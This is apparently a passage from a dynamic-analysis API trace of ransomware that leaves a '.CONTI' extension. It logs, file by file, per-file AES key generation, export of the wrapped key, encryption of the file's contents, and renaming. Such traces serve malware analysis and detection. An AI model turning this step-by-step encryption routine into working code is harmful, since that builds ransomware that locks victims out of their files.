	[0110.111] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.112] GetProcessHeap () returned 0x1720000
	[0110.112] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.112] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.112] GetProcessHeap () returned 0x1720000
	[0110.112] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0110.112] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.112] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b75af8 | out: phKey=0x6b75af8*=0x6b7f538) returned 1
	[0110.112] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b75afc, pdwDataLen=0x54bfc14 | out: pbData=0x6b75afc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.113] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.113] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.113] GetLastError () returned 0x0
	[0110.113] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=844) returned 1
	[0110.113] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34c
	[0110.113] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.113] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.113] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.113] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.113] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75afc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b75afc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.115] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.115] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x34c, lpOverlapped=0x0) returned 1
	[0110.115] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x34c, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x350) returned 1
	[0110.115] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.115] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x350, lpOverlapped=0x0) returned 1
	[0110.115] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.115] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75af0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b75af0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.115] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.115] CloseHandle (hObject=0x3e0) returned 1
	[0110.116] GetProcessHeap () returned 0x1720000
	[0110.116] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.116] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml"
	[0110.116] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.116] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.116] GetProcessHeap () returned 0x1720000
	[0110.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.116] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0110.117] GetProcessHeap () returned 0x1720000
	[0110.117] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71bc0 | out: hHeap=0x1720000) returned 1
	[0110.117] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.117] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b75d40 | out: phKey=0x6b75d40*=0x6b7f678) returned 1
	[0110.117] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b75d44, pdwDataLen=0x54bfc14 | out: pbData=0x6b75d44*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.117] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.118] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.118] GetLastError () returned 0x0
	[0110.118] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=716) returned 1
	[0110.118] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0110.119] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.119] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.119] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.119] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.119] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75d44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b75d44*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.121] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.121] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2cc, lpOverlapped=0x0) returned 1
	[0110.121] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2cc, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0110.121] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.121] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.121] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.121] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75d38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b75d38*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.121] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.121] CloseHandle (hObject=0x3e0) returned 1
	[0110.121] GetProcessHeap () returned 0x1720000
	[0110.121] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.121] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml"
	[0110.121] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.121] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.122] GetProcessHeap () returned 0x1720000
	[0110.122] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.122] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.122] GetProcessHeap () returned 0x1720000
	[0110.122] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71038 | out: hHeap=0x1720000) returned 1
	[0110.122] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.122] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b75f88 | out: phKey=0x6b75f88*=0x6b7f678) returned 1
	[0110.123] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b75f8c, pdwDataLen=0x54bfc14 | out: pbData=0x6b75f8c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.123] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.123] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.124] GetLastError () returned 0x0
	[0110.124] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=720) returned 1
	[0110.124] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0110.124] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.124] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.124] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.124] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.124] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75f8c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b75f8c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.126] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.126] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.126] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0110.126] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.126] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.126] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.126] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b75f80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b75f80*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.126] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.126] CloseHandle (hObject=0x3e0) returned 1
	[0110.126] GetProcessHeap () returned 0x1720000
	[0110.126] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.126] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0110.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.126] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.127] GetProcessHeap () returned 0x1720000
	[0110.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.127] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.127] GetProcessHeap () returned 0x1720000
	[0110.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560290 | out: hHeap=0x1720000) returned 1
	[0110.127] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.127] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b761d0 | out: phKey=0x6b761d0*=0x6b7f538) returned 1
	[0110.127] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b761d4, pdwDataLen=0x54bfc14 | out: pbData=0x6b761d4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.128] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.128] GetLastError () returned 0x0
	[0110.128] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=734) returned 1
	[0110.128] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2de
	[0110.128] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.128] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.129] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.129] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.129] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b761d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b761d4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.130] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
